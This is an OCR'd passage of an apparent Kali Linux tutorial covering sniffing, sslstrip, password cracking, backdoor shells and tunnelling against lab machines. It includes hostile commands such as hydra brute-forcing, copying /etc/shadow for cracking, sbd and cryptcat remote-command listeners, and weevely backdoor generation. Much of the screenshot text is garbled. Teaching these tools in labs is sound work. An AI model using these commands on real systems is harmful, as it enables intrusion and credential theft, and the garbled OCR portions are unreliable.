SSL: error:00000000:1ib(0) : func(Q) :reason(0)
SSL: error:00000000:1ib(0) : func(0) : reason(0)
Handshakes 2 [1.86 h/s], 132 Conn, 2 Err
SSL: error:00000000:1ib(0Q) : func(0) : reason(0)
SSL: error: EEOO:Lib(0) : func(0) : re (@)
SSL: error:00000600:1ib(0) : func(0) :

SSL: error:00000000:1ib(0) :func(0) :r
Handshakes 6 [4.14 h/s], 132 Conn,

SSL: error:00000000:1ib(0) : func(0) :

SSL: error:00000000:1ib(0) : func (@) :

SSL: error:00000000:1ib(0) : func(®):r

SSL: error:00000000:1ib(0) : func(O) :'r
Handshakes 10 [4.14 h/s], 132 Conn,

SSL: error:00000000:

ESL: error:00000000:
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10. Kali Linux — Sniffing & Spoofing

The basic concept of sniffing tools is as simple as wiretapping and Kali Linux has some
popular tools for this purpose. In this chapter, we will learn about the sniffing and spoofing
tools available in Kali.

Burpsuite

Burpsuite can be used as a sniffing tool between your browser and the webservers to find
the parameters that the web application uses.

To open Burpsuite, go to Applications -> Web Application Analysis -> burpsuite.

Applications ¥ Places = Sun 18:53

Favorites burpsuite

01 - Information Gathering
(> commix
02 - Vulnerability Analysis

03 - Web Application Analysis =i httrack
® CMS & Framework Identification
owasp-zap
® Web Application Proxies
® Web Crawlers & Directory Brutef... paros
® Web Vulnerability Scanners skipfish

04 - Database Assessment

3 H" sqlmap

05 - Password Attacks
06 - Wireless Attacks veaa
07 - Reverse Engineering ) w3af
08 - Exploitation Tools
webscarab
09 - Sniffing & Spoofing
® Network Sniffers wpscan
® Spoofing and MITM
10 - Post Exploitation

11 - Forensics

To make the setup of sniffing, we configure burpsuite to behave as a proxy. To do this, go
to Options as shown in the following screenshot. Check the box as shown.

In this case, the proxy IP will be 127.0.0.1 with port 8080.
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Burp Suite Free Edition v1.6.32 o0

Burp rtruder Repeatar Window Meip

;:I'rav;lriynuy 1 Sewder jvﬁumu Lﬁwdn ;Rwuw lsmwnm -{D-toar [Eumvv li-tmdu l Options lﬂum |
[ intercest | HTTP history | WebSecketn history [ptens |

4
2| Proxy tong

3, Burp Proxy uses ksteners to recewe incoming HTTP requests from yeur bromser. You wil need to configure your bromser to use one of the listeners as its proxy
= server

Add . Sertificate |
@ 127.0.0.1 BO8O ] Pernost I
[ ede |

Eath mstallation of Burp generates its omn CA certificate that Proxy listanars can use when negotisting SSL connections. You can Impeet or sxport thin certificats
far use In other toels or another installation of Burp

| impart f export CA certficate | | Regenerate CA certfficats

-

INntes ot Cllsamm equest
(8| Vae these settings te contral mhich requests are staled for vieming and editing in the intercept tab

@) ¥rercept roquests basad on the fofowesy rules

| Add | | Enabled Operator | Match type | Relationship | Condition
7] File estension Does not match (" gfY| " g8l “pngs| “cosy| (a4
Lobee ey n " ra A "

Then configure the browser proxy which is the IP of burpsuite machine and the port.

Connection Settings [ %]

Configure Proxies to Access the Internet
_)No proxy

Auto-detect proxy settings for this network

Use system proxy settings

{+) Manual proxy configuration:

HTTP Proxy: | 127.0.0.1 Port: 8080 :
_| Use this proxy server for all protocols s

SSL Proxy: Port: ol

ETP Proxy: Port: ol

SOCKS Host: Port: ol

(/SOCKS v4 (=)SOCKS v5 [JRemote DNS
No Proxy for:

localhost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192.168.1.0/24

Automatic proxy configuration URL:

| Do not prompt for authentication if password is saved

Help Cancel OK
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To start interception, go to Proxy -> Intercept -> click “Intercept is on”.

Continue to navigate on the webpage that you want to find the parameter to test for
vulnerabilities.

Burp intruder Regeatsr Windom Help

1:"07!(7 Prw‘ ér;td—v l?(;rre’ llmr‘.de' [mmu ‘ Srrwvn(h' lO!éodév 1 C«;mpar-v , Extender , bpbum iN;rt) [

| Aharcest HTTP higtory | WebSockets history I Options |

]nt«uut " ‘", % |2 L
Bam  Paramnn  Headary  Hex ‘
N

In this case, it is metasploitable machine with IP 192.168.1.102

Damn Vulnerable Web App (DVWA) - Login - Icewesasel (- Mo

Kall Unux, an Offensive 5. X Damn Vulnerable Web A X | &
- 192.168.1.102

I Most Visited ’.Oﬁenuvr Securty "W Kal Linux "\ Kali Docs "\ Kali Tools nExplou-Uﬁ W Airerack-ng

DVWA)

Passvond

Login

Go to “"HTTP History”. In the following screenshot, the line marked in red arrow shows the
last request. In Raw and the hidden parameter such as the Session ID and other parameter
such as user name and password has been underlined in red.
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Burp Intruder Repeater Window Help

i'..’:vv J Proxy ' Sovler 1 Scannar 1|mn.—om | Rupeater | Sequencer | Decoder i‘?nmpnr-r Extander 1 Options iN-Nt |

| HTTP history | WebSockets history | Optionn

Fiter: Midng CSS, ynage and general binary content

2 4 Momt Method AL Params | Edted Statuz | Length | MME type | Extension  Thie

1 hitp 68 1 102 GET / J 00 1086 HTML Mutasplogahble2 - Levis

2 hitp: ¥ 8.1.102 GET 44 478 HTML ico 404 Not Found

3 ht'( 152 168 1102 GET 404 478 HTML co 404 Nat Found

4 hitp //192.168 1 102 GET af 4 302 aas HTHL

htto #1892 168 1 102 GET fdvmatogn php € < 200 1599 HTM 2o Damn Winerable We
__j_. hitp /092 368 1102 poarT Idymaficgn php a HTML shp

L T

‘ Reguest l

[ Bawe ] Pacarns | veaders | Hex |

ST /avwn/Lagin.php HTTR/1.1 N
»

" 64 ) - 1 Firefor/4s vensel /43,0, 4

mitmproxy

mitmproxy is an SSL-capable man-in-the-middle HTTP proxy. It provides a console
interface that allows traffic flows to be inspected and edited on the fly.

To open it, go to the terminal and type “"mitmproxy -parameter” and for getting help
on commands, type "mitmproxy -h”.

root@kali: ~ Q00
File Edit View Search Terminal Help

~# mitmproxy -h
musage: mitmproxy [options]

Args that start with '--' (eg. --version) can also be set in a config file
(~/.mitmproxy/common.conf or ~/.mitmproxy/mitmproxy.conf or specified via
--conf). The recognized syntax for setting (key, value) pairs is based on the
INI and YAML formats (e.g. key=value or foo=TRUE). For full documentation of
the differences from the standards please refer to the ConfigArgParse
documentation. If an arg is specified in more than one place, then commandline
values override config file values which override defaults.

optional arguments:
-h, --help show this help message and exit
--conf CONFIG FILE config file path
--version show program's version number and exit
--shortversion show program's short version number and exit
--anticache Strlp out requost headors that might cause the server
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To start the mitmproxy, type “mitmproxy —p portnumber”. In this case, it is “"mitmproxy
-p 80",

:~# mitmproxy -p 80

= |

Wireshark

Wireshark is one of the best data packet analyzers. It analyzes deeply the packets in frame
level. You can get more information on Wireshark from their official webpage:
https://www.wireshark.org/. In Kali, it is found using the following path - Applications ->
Sniffing & Spoofing -> wireshark.

Applications ¥ Places ¥ Mon 14:31

Favorites
01 - Information Gathering

driftnet
02 - Vulnerability Analysis
03 - Web Application Analysis 7 ettercap-g...
04 - Database Assessment

hamster
05 - Password Attacks
06 - Wireless Attacks Macchangar
07 - Reverse Engineering mitmproxy
08 - Exploitation Tools

netsniff-ng
09 - Sniffing & Spoofing
10 - Post Exploitation responder
11 - Forensics Aashark
12 - Reporting Tools 7
13 - Social Engineering Tools

14 - System Services

Usual applications
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Once you click wireshark, the following GUI opens up.

The Wireshark Networlk Analyzer [Wireshark 1.12.6 (Git Rev Unknown from unknown)] © 0 0

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

©O@ AWM. D xo A+«»237F % B aaaflfg -

Filter: ~ (Expression.. Clear Apply Save

The World's Most Popular Network Protocol Analyze

WlRESHARK Version 1.12.6 (Git Rev Unknown from unknown)

T g | Fes |

Interface List = Open
‘ Livelist of the capture interfaces Open a previously captured file .
(counts incoming packets)
Open Recent: W

P Start

Choose one ol more interfaces to capture from, then Start o Sample Captures

3 Arich assortment of example capture files on the wil

2! ethO
) any

i*' Loopback: lo

(15 Readytoload or capture No Packets Profile Default

Click “Start” and the packet capturing will start as shown in the following screenshot.

T 7 T T
= R | 1% 1] o b = ‘":_::‘ P —
©® 4 W e aerr+»FT3EE wa -
Fitter v |Expression
No ime aaurce Destination Frotocol ' Lengd ' Info
79 29.28264300(¢ 192.168.1.232 182.168.1.255 LIDP 53 Source por
B0 29.208367500¢ 192,168, 1.220 152.168, 1.255 Upor 63 Source por
81 29.2862080CC 162.168.1.220 162.168,1.255 UoF 63 Source par
Captured packets
83 30.10CS8300¢ SamsungE_5a:b6:6c Broadcast ARP 60 Who has 19

Frams 1: 60 bytes an ware (480 bits), 60 bytss captured (480 bats) on interface 0
Ethernet [L, Src: SamsungE_Sa:b€:6c (60:6b:bd:Sa:b6:6¢c), Ost: Broadcast [ff:ffiff:ff:ff:f
Address Resolution Protocol (request)

Packed Detail

it +¢ tF #4 ¢ 08 05 0C 01

O8 00 05 C4 DO Ec c¢O a8 ol ds
00 00 ON €O D0 O £ 1 0 00 00 DG 0D
00 00 00 CO DO

@ ™ oth0: <live capture in progress> Fil... - Packets: 83 - Displayed: 83 (... Profile: Defaul:

92

@ tutorialspoint

EIMPLYEAEGEYLEARNING



Kali Linux

sslstrip

sslstrip is a MITM attack that forces a victim's browser to communicate in plain-text over
HTTP, and the proxies modifies the content from an HTTPS server. To do this, sslstrip is
"stripping" https:// URLs and turning them into http:// URLs.

To open it, go to Applications -> 09-Sniffing & Spoofing -> Spoofing and MITM -> sslstrip.

Applications ¥ Places ~ Mon 14:52

Favorites

dnschef

01 - Information Gathering

fiked
02 - Vulnerability Analysis

03 - Web Application Analysis nfspy

04 - Database Assessment ;
rebind

05 - Password Attacks
- sniffjoke
06 - Wireless Attacks

07 - Reverse Engineering sslsplit

08 - Exploitation Tools

09 - Sniffing & Spoofing i // } .
s N vt

10 - Post Exploitation

NS
\ yersinia
11 - Forensics

12 - Reporting Tools

PHEP P L PP

13 - Social Engineering Tools
14 - System Services

Usual applications

.

sslstrip 0.9 by Moxie Marlinspike
Usage: sslstrip <options>

Options:

-w <filename>, --write=<filename> Specify file to log to (optional).

-p, --post Log only SSL POSTs. (default)

-s , --ssl Log all SSL traffic to and from server.

-a , --all Log all SSL and HTTP traffic to and from ser
s
-1 <port>, --listen=<port> Port to listen on (default 10600) .

-f , --favicon Substitute a lock favicon on secure requests
-k , --killsessions Kill sessions in progress.

-h Print this help message.

~# |}
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To set it up, write to forward all the 80 port communication to 8080.

Then, start the sslstrip command for the port needed.

root@kali: ~

File Edit View Search Terminal Help
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11. Kali Linux — Password Cracking Tools

In this chapter, we will learn about the important password cracking tools used in
Kali Linux.

Hydra

Hydra is a login cracker that supports many protocols to attack ( Cisco AAA, Cisco auth,
Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET,
HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle
Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh,
SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (vl and v2), SSHKEY,
Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP).

To open it, go to Applications -> Password Attacks -> Online Attacks -> hydra.

Applications ¥ Places « Tue 07:23

Favorites \ acccheck

01 - Information Gathering

D
\ cisco-audit...
02 - Vulnerability Analysis

N\
03 - Web Application Analysis findmyhash

04 - Database Assessment
hydra
05 - Password Attacks

® Offline Attacks hydra-gtk

P

® Online Attacks keimpx /
® Passing the Hash tools
onesixtyone !
® Password Profiling & Wordlists
06 - Wireless Attacks patatos
07 - Reverse Engineering thc-pptp-b”.

08 - Exploitation Tools

09 - Sniffing & Spoofing
10 - Post Exploitation
11 - Forensics

12 - Reporting Tools

13 - Social Engineering Tools
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It will open the terminal console, as shown in the following screenshot.

Examples:
hydra -1 user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN

hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -1 admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

In this case, we will brute force FTP service of metasploitable machine, which has IP
192.168.1.101

AN A BEAZ G- A ANA3 R A AN L GeAL AR LAr L4 aevrEnn o

e , — .
Link encap:Ethernet HUaddr 08:00:27:0c:c9:6e
inet addr:192.168.1.101 Becast:192.168.1.255 Mask:255.255.255.0
inetb addr: feB0::a00:27ff :felc:c96ers641 Scope:lLink

We have created in Kali a word list with extension ‘lst’ in the path
usr\share\wordlist\metasploit.

< ® | usr share wordlists  metasploit Q = = e6e¢
13 il Xt IS X1 VeTaOr - VEOOr
t P v )
= == = —
acle . oracle. oracle. plata_ssh postgres. postgres
default default_ default_ iserpass txt default. default.
hashes. txt password Hrg pass txt user. txt
postgres. root routers.. Tpc.names rsenices sap sap. default
&1 default_ userpass, txt usarpass.txt txt from_users common. txt txt
userpass txt txt
S8p. Km. scada. sensitive sensitive _ sid txt SN o, txt
paths txt default files. txt files win txt default
userpass txt Py
tomcat. tomeat.. tomcat. unin. Ui . users user.lst e
mgr- mygr. mar. passwords >t PASEV words
default pa default_us default_us txt txt
. N
< >

The command will be as follows -

hydra -1 /usr/share/wordlists/metasploit/user -P
/usr/share/wordlists/metasploit/ passwords ftp://192.168.1.101 -V

where =V is the username and password while trying
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As shown in the following screenshot, the username and password are found which are
msfadmin:msfadmin

Johnny

Johnny is a GUI for the John the Ripper password cracking tool. Generally, it is used for
weak passwords.

To open it, go to Applications -> Password Attacks -> johnny.

Applications ~ Places = Tue 08:31
-

Favorites cawl

01 - Information Gathering

crunch
02 - Vulnerability Analysis

03 - Web Application Analysis hashcat

04 - Database Assessment :

john
05 - Password Attacks
joh
® Offline Attacks SRR
® Online Attacks o medusa

® Passing the Hash tools :
necrac

® Password Profiling & Wordlists
06 - Wireless Attacks \ 05 ophcrack

07 - Reverse Engineering pyrit
08 - Exploitation Tools
rainbowcra...

09 - Sniffing & Spoofing

10 - Post Exploitation rcracki_mt

11 - Forensics :
wordlists

12 - Reporting Tools

13 - Social Engineering Tools
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In this case, we will get the password of Kali machine with the following command and a
file will be created on the desktop.

:~# |cat /etc/passwd > Desktop/crack && cat /etc/shadow >> Desktop/cracklj

Click “Open Passwd File” -> OK and all the files will be shown as in the following
screenshot.

File Attack Passwords
<»
n =
Open Passwd File Start Attack Copy
Q User Password Hash GECOS
1 root X 0:0:root:/root:/bin/bash =
2 daemon x 1:1:daemon:/usr/sbin:/bin/sh
Options 3 bin X 2:2:bin:/bin:/bin/sh
- u 4 sys X 3:3:sys:/dev:/bin/sh
Staustics 5 sync X 4:65534:sync:/bin:/bin/sync
6 games X 5:60:games:/usr/games:/bin/sh
Settings 7 man X 6:12:man;/var/cache/man:/bin/sh
8 1p X 7:7:p:/var/spool/lpd:/bin/sh
Output 9 mail X 8:8:mail:/var/mail:/bin/sh
10 news X 9:9:news:/var/spool/news:/bin/sh
11 uucp X 10:10:uucp:/var/spool/uucp:/bin/sh
12 proxy X 13:13:proxy:/bin./bin/sh
13 www-data X 33:33:www-data:/var/www:/bin/sh
14 backup X 34:34:backup:/var/backups:/bin/sh
15 list X 38:38:Mailing List Manager:/var/list:/bin/sh
16 irc X 39:39:ircd:/var/runfircd:/bin/sh v
0%

Click “Start Attack”.

T

Johnny

File Attack Passwaords

K Wi

Open Passwd File Start Attack Copy
Q User Password Hash GECOS =
37 postgres X 118:129:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

After the attack is complete, click the left panel at “"Passwords” and the password will be
unshaded.
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' Johnny
File Attack Passwords
<
at =
Open Passwd File Start Attack Copy
0 User Password Hash GECOS
37 postgres X 118:129:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
38 redsocks X 119:130::/var/run/redsocks./bin/false
Options 39 stunnel4 X 120:131::/var/run/stunnel4./bin/false
au U 0 statd x 121:65534::/var/lib/nfs:/bin/false
Statistics 1 sslh X 122:134::/nonexistent:/bin/false
Debian-gdm X 123:135:Gnome Display Manager:/var/lib/gdm3:/bin/false
Settings | |43 | rtkit x 124:136:RealtimeKit,,,:/proc:/bin/false
444 saned X 125:137::/home/saned:/bin/false
Output  Nlew root |toor R e 1 6333:0:99999:7:
46 daemon ¥ 16216:0;99999:7
47 bin 9 16216:0;99999:7
48 sys o 16216:0:99999.7
49 sync . 16216:0:99999.7
50 games . 16216:0:99999:7::
51 man e 16216:0:99999:7::
52 Ip . 16216:0:99999:7

john

john is a command line version of Johnny GUI. To start it, open the Terminal and
type “john”.

~# john
John the Ripper password cracker, version 1.8.0.6-jumbo-1-bleeding [linux-x86-64-avx]
Copyright (c) 1996-2015 by Solar Designer and others

Homepage: http://www.openwall.com/john/

Usage: john [OPTIONS]
ingle[=SECTION]
--wordlist[=FILE]

[PASSWORD-FILES]

"single crack" mode
--stdin wordlist mode, read words from FILE or stdin
--pipe 1like --stdin, but bulk reads, and allows rules
like --wordlist, but fetch words from a .pot file
suppress all dupes in wordlist (and force preload)
PRINCE mode, read words from FILE
input encoding (eg. UTF-8, IS0-8859-1). See also
doc/ENCODING and --list=hidden-options.
enable word mangling rules for wordlist modes
"incremental" mode [using section MODE]
mask mode using MASK
"Markov" mode (see doc/MARKOV)
external mode or word filter
just output candidate passwords [cut at LENGTH]
restore an interrupted session [called NAME]

--loopback[=FILE]
- -dupe-suppression
--prince[=FILE]
--encoding=NAME

--rules[=SECTION]
--incremental [=MODE]
- -mask=MASK
--markov[=0PTIONS]
--external=MODE
--stdout [=LENGTH]
--restore[=NAME]

In case of unshadowing the password, we need to write the following command:

root@kali:~# unshadow passwd shadow > unshadowed.txt
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Rainbowcrack

The RainbowCrack software cracks hashes by rainbow table lookup. Rainbow tables are
ordinary files stored on the hard disk. Generally, Rainbow tables are bought online or can
be compiled with different tools.

To open it, go to Applications -> Password Attacks -> click “rainbowcrack”.

Applications ¥ Places v Tue 12:36
Fa

Favorites o

01 - Information Gathering

crunch
02 - Vulnerability Analysis

03 - Web Application Analysis hashcat
04 - Database Assessment 3

john
05 - Password Attacks

. johnny

® Offline Attacks
® Online Attacks o/ medusa

® Passing the Hash tools .
ncrac

® Password Profiling & Wordlists
06 - Wireless Attacks y ophcrack

07 - Reverse Engineering pyrit
08 - Exploitation Tools
rainbowcra...

09 - Sniffing & Spoofing

10 - Post Exploitation “¥@ rcracki_mt

11 - Forensics :
wordlists

12 - Reporting Tools

13 - Social Engineering Tools

The command to crack a hash password is:

rcrack path_to_rainbow_tables -f path_to_password_hash

SQLdict

It is a dictionary attack tool for SQL server and is very easy and basic to be used. To open
it, open the terminal and type “sqldict”. It will open the following view.
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SQldict

SGLdict 21 - The SUL Server Dictionany Attacker
copyright () 2000, Ame Widstronm

arne. vidstromi@nkeecumity. U - hitp: £ nteecurnby. nu

T arget server |P: [

T arget account: |

Load Passward File |

Start Shop | E xit I
|-

i of

Under “Target IP Server”, enter the IP of the server holding the SQL. Under “Target
Account”, enter the username . Then load the file with the password and click “start” until
it finishes.

hash-identifier

It is a tool that is used to identify types of hashes, meaning what they are being used for.
For example, if I have a HASH, it can tell me if it is a Linux or windows HASH.

HASH: GS8f6bcd4621d373caded4e832627b4f6

Possible Hashs:
[+] MD5
"[+] Domain Cached Credentials - MD4(MD4( ($pass)) .(strtolower($username)))

Least Possible Hashs:
[+] RAdmin vZ2.x

[+] NTLM

[+] MD4

[+] MD2

[+] MD5(HMAC)

[+] MD4(HMAC)

[+] MD2(HMAC)

[+] MDS5 (HMAC (Wordpress) )
[+] Haval -128

[+] Haval-128(HMAC)
[+] RipeMD-128

The above screen shows that it can be a MD5 hash and it seems a Domain cached
credential.
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12. Kali Linux — Maintaining Access

In this chapter, we will see the tools that Kali uses to maintain connection and for access
to a hacked machine even when it connects and disconnects again.

Powersploit

This is a tool that is for Windows machines. It has PowerShell installed in victims machine.
This tool helps the hacker to connect with the victim’s machine via PowerShell.

To open it, open the terminal on the left and type the following command to enter into the
powersploit folder:

cd /usr/share/powersploit/

If you type “Is” it will list all the powersploit tools that you can download and install in the
victim’s machine after you have gained access. Most of them are name self-explained
according to their names.

rsploit/
it# 1s

PowerSploit .psml
ools README . md
werSploit.psdl Recon

An easy way to download this tool on the victim’s machine is to create a web server, which
powersploit tools allow to create easily using the following command:

python -m SimpleHTTPServer

After this, if you type: http://<Kali machine ip_address>:8000/ following is the result.

* | D
Directory listing for /

 AntivirusBypass/
CodeExecution/
Exfiltration/
Persistence/
PETools/
PowerSploit.psdl
README.md

Recon/
ReverseEngineering/
ScriptModification/
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Sbd

sbd is a tool similar to Netcat. It is portable and can be used in Linux and Microsoft
machines. sbd features AES-CBC-128 + HMAC-SHA1 encryption> Basically, it helps to
connect to a victim’s machine any time on a specific port and send commands remotely.

To open it, go to the terminal and type “sbd -l -p port” for the server to accept
connections.

:~# sbd -help
sbd 1.37 Copyright (C) 2004 Michel Blomgren <michel.blomgren@tigerteam.se>
$Id: sbd.c,v 1.37 2005/08/21 22:40:47 shadow Exp $

This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free Software
Foundation; either version 2 of the License, or (at your option) any later
version.

connect (tcp): sbd [-options] host port
listen (tcp): sbd -1 -p port [-options]
options:
listen for incoming connection
n choose port to listen on, or source port to connect out from
address choose an address to listen on or connect out from
e prog program to execute after connect (e.g. -e cmd.exe or -e bash)
n infinitely respawn/reconnect, pause for n seconds between
connection attempts. -r@ can be used to re-listen after
disconnect (just like a regular daemon)
on|off encryption on/off. specify whether you want to use the built-in
AES-CBC-128 + HMAC-SHAl encryption implementation (by

Christonhe Devine - htto://www _crf _net:8040/) or not

In this case, let us put port 44 where the server will listen.

:~# sbd -1 -p 44 -v
listening on port 44

On the victim’s site, type “sbd IPofserver port”. A connection will be established where
we can send the remote commands.

In this case, it is “localhost” since we have performed the test on the same machine.

e Ve g

I :~# sbd localhost 44

Finally, on the server you will see that a connection has occurred as shown in the following
screenshot.

connect to 127.0.0.1:44 from 127.0.0.1:57252 (localhost)
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Webshells

Webshells can be used to maintain access or to hack a website. But most of them are
detected by antiviruses. The C99 php shell is very well known among the antivirus. Any
common antivirus will easily detect it as a malware.

Generally, their main function is to send system command via web interfaces.

To open it, and type “cd /usr/share/webshells/” in the terminal.

:/usr/share/webshells# 1s

asp aspx cfm jsp perl php

:/usr/share/webshelLs#

As you see, they are divided in classes according to the programing language : asp , aspx,
cfm, jsp, perl,php

If you enter in the PHP folder, you can see all the webshells for php webpages.

:/usr/share/webshells# cd php/
:/usr/share/webshells/php# 1s

findsock.c php-findsock-shell,php qgsd-php-backdoor.php
php-backdoor.php php-reverse-shell.php simple-backdoor.php

To upload the shell to a web server, for example “simple-backdoor.php” open the
webpage and URL of the web shell.

At the end, write the cnd command. You will have all the info shown as in the following
screenshot.

€ 192.168 D

o]

5 Most Visitedv  JllOffensive Security " Kali Linux N Kali Docs Y Kali Tools KRExploit-DB Wy
Host Name: ==

0S Name:

0S Version:

0S Manufacturer: Microsoft Corporation

0S Configuration: Standalone Workstation

0S Build Type: Multiﬁrocessor Free

Registered Owner:

Registered Organization:

Dendist Th e e\
Weevely

Weevely is a PHP web shell that simulate telnet-like connection. It is a tool for web
application post exploitation, and can be used as a stealth backdoor or as a web shell to
manage legit web accounts, even free hosted ones.

To open it, go to the terminal and type “weevely” where you can see its usage.
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~# weevely
U
[+] weevely 3.2.0
[!] Error: too few arguments

[+] Run terminal to the target
weevely <URL> <password> [cmd]

Load session file
weevely session <path=> [cmd]

To generate the shell, type "weevely generate password pathoffile”. As seen in the
following screenshot, it is generated on the “Desktop” folder and the file is to upload in a
webserver to gain access.

Applications v Places v [ Terminal ~

Ny

Desktop Documents Downloads

e BB e
e

Jm
. fle Edt View Search Terminal Help
(i*k
: ] Ganarate b r agent
waovely o <password> <path>
. 1
A =¥ weavaly gensrata Testr
E‘é)' enarated vackooor with password 'tes

After uploading the web shell as shown in the following screenshot, we can connect with
cmd to the server using the command "weevely URL password” where you can see that
a session has started.
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http-tunnel

http-tunnel creates a bidirectional virtual data stream tunneled in HTTP requests. The
requests can be sent via a HTTP proxy if so desired. This can be useful for users behind
restrictive firewalls. If WWW access is allowed through a HTTP proxy, it's possible to use
http-tunnel and telnet or PPP to connect to a computer outside the firewall.

First, we should create a tunnel server with the following command:

httptunnel_server -h

Then, on the client site type “httptunnel_client -h"” and both will start to accept
connections.

dns2tcp

This is again a tunneling tool that helps to pass the TCP traffic through DNS Traffic, which
means UDP 53 port.

To start it, type “dns2tcpd”. The usage is explained when you will open the script.

:~#'dns2tcpd
Usage : dns2tcpd [ -1 IP ]

file ]

On the server site, enter this command to configure the file .

#cat >>.dns2tcpdrc <<END

listen = 0.0.0.0

port = 53

user=nobody

chroot = /root/dns2tcp

pid_file = /var/run/dns2tcp.pid
domain = your domain key = secretkey
resources = ssh:127.0.0.1:22

END

#dns2tcpd -f .dns2tcpdrc

On Client site, enter this command.

# cat >>.dns2tcprc <<END
domain = your domain
resource = ssh
local_port = 7891

key = secretkey

END

# dns2tcpc -f .dns2tcprc

# ssh root@localhost -p 7891 -D 7076

Tunneling will start with this command.
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cryptcat

It is another tool like Netcat which allows to make TCP and UDP connection with a victim’s
machine in an encrypted way.

To start a server to listen for a connection, type the following command:

cryptcat -1 -p port -n

:~# cryptcat -1 -p 78 -n

Where,

e -l stands for listening to a connection
e =p stands for port number parameter

e =-n stands for not doing the name resolution

On client site, the connection command is “cryptcat IPofServer PortofServer”

root@kali: ~ D ® ¢

File Edit View Search Terminal Help
:~# cryptcat 127.0.0.1 78
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13. Kali Linux — Reverse Engineering

In this chapter, we will learn about the reverse engineering tools of Kali Linux.

OllyDbg

OllyDbg is a 32-bit assembler level analyzing debugger for Microsoft Windows applications.
Emphasis on binary code analysis makes it particularly useful in cases where the source is
unavailable. Generally, it is used to crack the commercial softwares.

To open it, go to Applications -> Reverse Engineering -> ollydbg

Usual applications

To load a EXE file, go the “Opening folder” in yellow color, which is shown in a red square
in the above screenshot.

After loading, you will have the following view where you can change the binaries.
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lyDbg - ollydbg.exe
File View Debug Options Windows Help

X| =1 s s | u[E(M{T[c[B] =
T

Mdrv&c p

Hex dump Command Comments

. 8!C7 40860081 | ROD EDI,

> S A40F40me pCHP ESI, [4D)FM]

7C E4 JU T @B42DA16

. S R%BMBG CKL EJHP %YEE;ELSE.BMMCKC-() ERMEL32.GetT lekCount

»ﬂ B PUSH [
S AIBCG460 | CALL <JHP.&KERI‘EL32.SK€€D> KERNEL32.S
3 OR EAX, ERX

€853 1C | MOU EDX, (EBX+1C]

E
FF73 1C PUSH EDIAIORD EB(vlC) 88 | [4OBCD-1] =8
FF72 18 PUSH [DWORD EBX#18] 43 => [4DBCOG] = 8
22449 sgn gFFSET ollydbg. 00492433 | | . "Event ‘/BEIX fron different Dx_] S

08 USH @ 10
ZSURFEFF | CRLL 0040€450 1 lydbg. BB4BE498

1800180 | FUSH 80818 Cont InueStavu D%E 'CEPTIULI%OT HANC
73 20 PUSH (DUORD EBX‘ZBJ Thre

73 1C PUSH COWORD EB!

64BAB4G0 CN.LEﬂ\iﬂP &kER!'ELiBZ Continuel

3 18130900
3 00

f ’
KERNELZ.

sent

ClP [OWORD EBX], B

3
3
58 PLEH OgFSE?o‘H dbg. 82492461 01 1yDi d
ollydbg. 24 "011yDbg received debug event
S EASHAAPR |Gl SG%TLAR WSTHESRM T ‘

3 DEG_EXCEPT I0M_NOT_HANC
[4D8C081 = @
[409CD4

COWORD EBX+2B]

FFe2 1C PUSH COWORD EBX+1C]

DBAG400 | CALL <JMP.S&KERNEL32.Cont inuel
NOR EAX, ER.

1120000 | J¥ 8042E099

> | EB 97170000 | CALL @042F244 Collydbg. @@

« | B8B83 18 MOy EDX, (EB}wl&]

. 3FA B9 CiP EDX, 9 Switch (cases 1..9, 18. exits) -

PCP ECX
10001806  PUSH 5001008 C
73 20 PUSH [

@M NOo
o

f
KERNE!

dex2jar

This is an application that helps convert APK file (android) to JAR file in order to view the
source code. To use it, open the terminal and write “d2j-dex2jar —-d /file location”

In this case, the file is “classes.dex” on the desktop.

root@locathost: -

File Edit Wew Search Terminai Help

classes dex

rootidlocalhost: -

File Edit View Search Terminal Help

‘root/Desktop
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< 2 «  Search for "classes-dexZjarjar”

{® Recent

Q classes-dex2jar.far Q -~

ar Home

Desktop

k classes-

[ Documents
‘ dex2jac jar

@ Downloads

53 Musi
O Pictures

H Videos

jd-gui

JD-GUI is a standalone graphical utility that displays Java source codes of “.class” files.
You can browse the reconstructed source code. In this case, we can reconstruct the file
that we extracted from the dex2jar tool.

To launch it, open the terminal and write “jd-gui” and the following view will open.

To import the file, click the open folder = icon on the left upper corner and then import

the file.

File Edit Navigate Search Help
B &4
gettext (%

D & .usr
b G

Java Decompiler - javaversion.class - | E

javaversion.class [ v

+

4

import java.io.PrintStreanm;

public class javaversion
{
public static void mein(String[] paramArrayOfString)
{
System.out.println(System.getProperty(”java.specification,version"));
}
}
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apktool

Apktool is one of the best tools to reverse the whole android application. It can decode
resources to nearly an original form and rebuild them after making modifications.

To open it, go to the terminal and write " apktool”.

To decompile a apk file, write ™ apktool d apk file".

0.0-RC4 on

¢ our ...
: Decoding AndroidManifest.xml with resources...

: Loading resource table from file: /root/apktool/framework/l.apk
: Regular manifest package...

: Decoding file-resources...

: De ing values */* XMLs...

: Baksmaling classes.dex...
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14. Kali Linux — Reporting Tools

In this chapter, we will learn about some reporting tools in Kali Linux.

Dradis

In all this work that we have performed, it is important to share the results that was
produced, to track our work, etc. For this purpose, Kali has a reporting tool called dradis
which is a web service.

Step 1: To start Dradis, type "service dradis start”.

service dradis start

Step 2: To open, go to Applications -> Reporting Tools -> dradis.

Applications + Places v  [] Terminal Fri 09:23

Favorites R s ahile

01 - Information Gathering
cutycapt
02 - Vulnerability Analysis
03 - Web Application Analysis dradis
onfig file specified, using the
faraday IDE 2 use redis-server /path/to/redi
05 - Password Attacks imum number of open files to 10

04 - Database Assessment

keepnote

